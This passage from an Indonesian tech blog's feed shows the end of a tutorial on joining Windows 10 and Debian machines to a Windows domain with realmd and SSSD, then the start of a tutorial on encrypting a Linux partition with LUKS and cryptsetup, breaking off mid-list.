&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;adding dns server&quot; loading=&quot;lazy&quot; width=&quot;1289&quot; height=&quot;653&quot; src=&quot;/_astro/ss3.oL0SW3f__2wwVzL.webp&quot; /&gt;&lt;figcaption&gt;adding dns server&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Menambahkan Domain&lt;a href=&quot;#2-menambahkan-domain&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Langkah berikutnya adalah menambahkan domain ke Windows kita.&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Pergi ke “Control Panel -&amp;gt; System and Security -&amp;gt; System”.&lt;/li&gt;
&lt;li&gt;Klik “Rename this PC (advanced)” di paling bawah.&lt;/li&gt;
&lt;li&gt;Akan muncul jendela System Properties, klik “Change”.&lt;/li&gt;
&lt;li&gt;Inputkan nama domain yang tadi sudah kita catat di kolom “Domain” pada bagian “Member of”.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;adding computer to a domain&quot; loading=&quot;lazy&quot; width=&quot;1489&quot; height=&quot;824&quot; src=&quot;/_astro/ss4.h-A0IleM_1WkQEB.webp&quot; /&gt;&lt;figcaption&gt;adding computer to a domain&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. Login ke Domain&lt;a href=&quot;#3-login-ke-domain&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sebelum login ke domain, kita bisa pastikan bahwa komputer kita sudah terhubung ke domain dengan melakukan &lt;code&gt;ping&lt;/code&gt; ke server via domain name-nya&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;ping-ing domain name&quot; loading=&quot;lazy&quot; width=&quot;1039&quot; height=&quot;569&quot; src=&quot;/_astro/ss5.B_9J7Cqc_jx7hg.webp&quot; /&gt;&lt;figcaption&gt;ping-ing domain name&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Berhasil ping! Itu artinya komputer kita sudah terhubung ke domain.&lt;/p&gt;&lt;p&gt;Berikut adalah langkah-langkah untuk login ke domain server:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Logout.&lt;/li&gt;
&lt;li&gt;Login dengan akun yang sudah dibuat sebelumnya. Jangan lupa sertakan nama domain pada kolom user. Berikut adalah username yang saya gunakan: &lt;code&gt;dc.local\wildan&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Kita berhasil bergabung ke Windows Domain dari Windows 10!&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Linux (Debian) to Domain&lt;a href=&quot;#linux-debian-to-domain&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;1. Meng-&lt;em&gt;install&lt;/em&gt; &lt;em&gt;packages&lt;/em&gt;&lt;a href=&quot;#1-meng-install-packages&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Langkah pertama adalah meng-&lt;em&gt;install&lt;/em&gt; paket-paket yang diperlukan.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-y&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;realmd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;sssd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;sssd-tools&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;libnss-sss&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;libpam-sss&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;adcli&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;samba-common-bin&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;oddjob&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;oddjob-mkhomedir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;packagekit&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;installing required packages&quot; loading=&quot;lazy&quot; width=&quot;880&quot; height=&quot;349&quot; src=&quot;/_astro/ss6.CU3sKcuf_Z1FrnFJ.webp&quot; /&gt;&lt;figcaption&gt;installing required packages&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Mengganti DNS&lt;a href=&quot;#2-mengganti-dns&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Langkah kedua, kita perlu mengganti DNS-nya agar merujuk ke Domain. Jadi, kita harus memasukkan nama domain berikut juga &lt;em&gt;ip address&lt;/em&gt;-nya ke &lt;code&gt;/etc/resolv.conf&lt;/code&gt;.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nano&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/etc/resolv.conf&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;domain&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;dc.local&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;search&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;dc.local&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nameserver&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;192.168.0.105&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;changing the DNS&quot; loading=&quot;lazy&quot; width=&quot;587&quot; height=&quot;259&quot; src=&quot;/_astro/ss7.Yb2Ep-7H_Z2dykbs.webp&quot; /&gt;&lt;figcaption&gt;changing the DNS&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. Mencari Domain&lt;a href=&quot;#3-mencari-domain&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Langkah ketiga, kita perlu mencari domain untuk memastikan DNS kita sudah berfungsi dengan baik.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;realm&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;discover&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;dc.local&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Jika berhasil, berikut adalah &lt;em&gt;output&lt;/em&gt;-nya:
&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;ensuring the DNS works&quot; loading=&quot;lazy&quot; width=&quot;514&quot; height=&quot;382&quot; src=&quot;/_astro/ss8.vJPFF6Ku_Z10Tzos.webp&quot; /&gt;&lt;figcaption&gt;ensuring the DNS works&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;4. Bergabung ke Domain&lt;a href=&quot;#4-bergabung-ke-domain&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Langkah keempat, kita akan join ke Domain.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;realm&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;join&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;dc.local&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kita akan diminta untuk meng-&lt;em&gt;input&lt;/em&gt;-kan password user “Administrator”.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;joining Domain&quot; loading=&quot;lazy&quot; width=&quot;525&quot; height=&quot;139&quot; src=&quot;/_astro/ss9.0caD__xK_12cXe5.webp&quot; /&gt;&lt;figcaption&gt;joining Domain&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;5. Login ke Domain&lt;a href=&quot;#5-login-ke-domain&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sebelum login ke domain, kita dapat memastikan bahwa kita sudah bergabung ke Domain dengan melihat apakah kita dapat mengetahui informasi tentang user yang terdapat di Domain tersebut.&lt;/p&gt;&lt;p&gt;Misalnya, saya akan mencoba mencari tahu info tentang user &lt;strong&gt;“wildan”&lt;/strong&gt; dan &lt;strong&gt;“alex”&lt;/strong&gt;.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;id&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Checking Domain user&quot; loading=&quot;lazy&quot; width=&quot;742&quot; height=&quot;190&quot; src=&quot;/_astro/ss10.DCPWwVFQ_1j52cl.webp&quot; /&gt;&lt;figcaption&gt;Checking Domain user&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Ya, dan kita berhasil melihat info tentang user wildan dan alex. Artinya, Debian kita sudah bergabung ke Domain dan sudah bisa login via cli (SSH).&lt;/p&gt;&lt;p&gt;Berikut adalah langkah-langkah login ke Domain.&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Logout.&lt;/li&gt;
&lt;li&gt;Login dengan akun yang sudah dibuat sebelumnya. Jangan lupa sertakan nama domain pada kolom user. Berikut adalah username yang saya gunakan: &lt;code&gt;dc.local\wildan&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Atau bisa juga langsung via terminal tanpa harus logout, dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;su&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;wildan@dc.local&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Login to Domain&quot; loading=&quot;lazy&quot; width=&quot;774&quot; height=&quot;660&quot; src=&quot;/_astro/ss11.Cis9fQjZ_ZhzOpl.webp&quot; /&gt;&lt;figcaption&gt;Login to Domain&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Kita berhasil masuk ke domain, terlihat dari &lt;em&gt;hostname&lt;/em&gt; kita yang berubah menjadi &lt;em&gt;hostname&lt;/em&gt; dari Domain. Akan tetapi, kita tidak memiliki &lt;strong&gt;user directory&lt;/strong&gt;, tampak di dalam kotak berwarna kuning di tangkapan layar. Jadi, kita hanya dapat login saja, tetapi tidak memiliki &lt;em&gt;user directory&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;Jadi, kita masih harus membuat pengaturan untuk menambahkan &lt;em&gt;user directory&lt;/em&gt; ketika login ke Domain.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;6. Menambahkan user dir&lt;a href=&quot;#6-menambahkan-user-dir&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Agar kita memiliki user directory ketika login ke Domain, kita perlu menambahkan konfigurasi berikut ke &lt;code&gt;/etc/pam.d/common-session&lt;/code&gt; di Debian kita.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Ingat!&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Kita menambahkan pengaturannya di Debian, bukan ketika sudah berada di dalam Domain. Jadi, jika kita sedang berada di Domain, kita perlu &lt;em&gt;logout&lt;/em&gt; terlebih dahulu.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nano&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/etc/pam.d/common-session&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Agar lebih mudah, tambahkan konfigurasi berikut di akhir file.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# create Home Dir automatically when initial login&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;session optional        pam_mkhomedir.so skel=/etc/skel umask=077&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Adding user dir to Domain&quot; loading=&quot;lazy&quot; width=&quot;775&quot; height=&quot;577&quot; src=&quot;/_astro/ss12.BIVc0sao_J4a80.webp&quot; /&gt;&lt;figcaption&gt;Adding user dir to Domain&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;7. Login dengan user dir&lt;a href=&quot;#7-login-dengan-user-dir&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sekarang, kita coba lagi login dengan perintah&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;su&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;wildan@dc.local&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Login to Domain with user dir&quot; loading=&quot;lazy&quot; width=&quot;883&quot; height=&quot;516&quot; src=&quot;/_astro/ss13.CLE5YvrJ_Z2ixQwa.webp&quot; /&gt;&lt;figcaption&gt;Login to Domain with user dir&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Dan, kita berhasil bergabung dan login ke Domain Controller dengan user directory!&lt;/p&gt;&lt;p&gt;Alhamdulillah!&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/answers/questions/1741688/how-do-i-find-my-domain-name-in-windows&quot; target=&quot;_blank&quot;&gt;https://learn.microsoft.com/en-us/answers/questions/1741688/how-do-i-find-my-domain-name-in-windows&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://learn.microsoft.com/id-id/windows-server/identity/ad-fs/deployment/join-a-computer-to-a-domain&quot; target=&quot;_blank&quot;&gt;https://learn.microsoft.com/id-id/windows-server/identity/ad-fs/deployment/join-a-computer-to-a-domain&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.server-world.info/en/note?os=Debian_12&amp;amp;p=realmd#google_vignette&quot; target=&quot;_blank&quot;&gt;https://www.server-world.info/en/note?os=Debian_12&amp;amp;p=realmd#google_vignette&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Enrypting Disk in Linux using LUKS</title><link>https://shangdi.github.io/posts/tech/luks/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/luks/</guid><description>A tutorial on how to encrypt disk/drive/partition in linux with cryptsetup.</description><pubDate>Sun, 02 Feb 2025 04:43:27 GMT</pubDate><content:encoded>&lt;p&gt;Kali ini kita akan belajar cara meng-&lt;em&gt;encypt&lt;/em&gt; disk/drive di linux menggunakan &lt;strong&gt;LUKS (Linux Unified Key Format)&lt;/strong&gt;. LUKS adalah format enkripsi yang umum digunakan di linux. Salah satu tool yang dapat digunakan untuk mengenkripsi disk/drive adalah &lt;a href=&quot;https://www.google.com/search?q=cryptsetup&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;&lt;code&gt;cryptsetup&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt;&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;section&gt;&lt;h2&gt;Installation&lt;a href=&quot;#installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Karena merupakan &lt;em&gt;tool&lt;/em&gt; standard, &lt;strong&gt;&lt;code&gt;cryptsetup&lt;/code&gt;&lt;/strong&gt; biasanya sudah terpasang ketika melakukan instalasi linux, sebab cryptsetup memang langsung menggunakan modul default bawaan kernel Linux, yaitu &lt;a href=&quot;https://docs.kernel.org/admin-guide/device-mapper/dm-crypt.html&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;dm-crypt&lt;/strong&gt;&lt;/a&gt;&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;. Kita bisa memeriksa modul tersebut dengan perintah berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;lsmod&lt;/span&gt;&lt;span&gt; | &lt;/span&gt;&lt;span&gt;grep&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;crypt&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;dm-crypt Linux kernel module used by cryptsetup&quot; loading=&quot;lazy&quot; width=&quot;683&quot; height=&quot;345&quot; src=&quot;/_astro/ss10.CyAWESxB_2e1G6j.webp&quot; /&gt;&lt;figcaption&gt;dm-crypt Linux kernel module used by cryptsetup&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Tapi, jika ternyata belum terpasang, silakan &lt;em&gt;install&lt;/em&gt; terlebih dahulu:&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install cryptsetup&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy cryptsetup&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install cryptsetup&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install cryptsetup&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;The Initial Setup&lt;a href=&quot;#the-initial-setup&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Sebelum melakukan proses enkripsi, beberapa hal berikut perlu diperhatikan:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;DANGER&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;em&gt;Back up&lt;/em&gt;&lt;/strong&gt; data-data penting terlebih dahulu!&lt;/li&gt;
&lt;li&gt;Catat &lt;strong&gt;&lt;em&gt;passphrase&lt;/em&gt;&lt;/strong&gt; yang digunakan agar tidak lupa!&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Berikut adalah langkah-langkah enkripsi dengan &lt;strong&gt;&lt;code&gt;cryptsetup&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;&lt;section&gt;&lt;h3&gt;1. Mengengkripsi partisi&lt;a href=&quot;#1-mengengkripsi-partisi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pertama, kita perlu mengenkripsi partisi yang terdapat di sebuah disk/drive terlebih dahulu. Artinya, sebuah disk/drive mungkin punya lebih dari satu partisi dan kita tidak harus mengenkripsi semua partisinya.&lt;/p&gt;&lt;p&gt;Berikut perintahnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;cryptsetup&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;luksFormat&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/sda3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;Keterangan:&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/dev/sda3&lt;/code&gt; adalah partisi yang akan saya &lt;em&gt;encrypt&lt;/em&gt;. Silakan disesuaikan.&lt;/li&gt;
&lt;li&gt;Partisi yang ada dapat dilihat dengan perintah &lt;code&gt;lsblk&lt;/code&gt;.&lt;/li&gt;
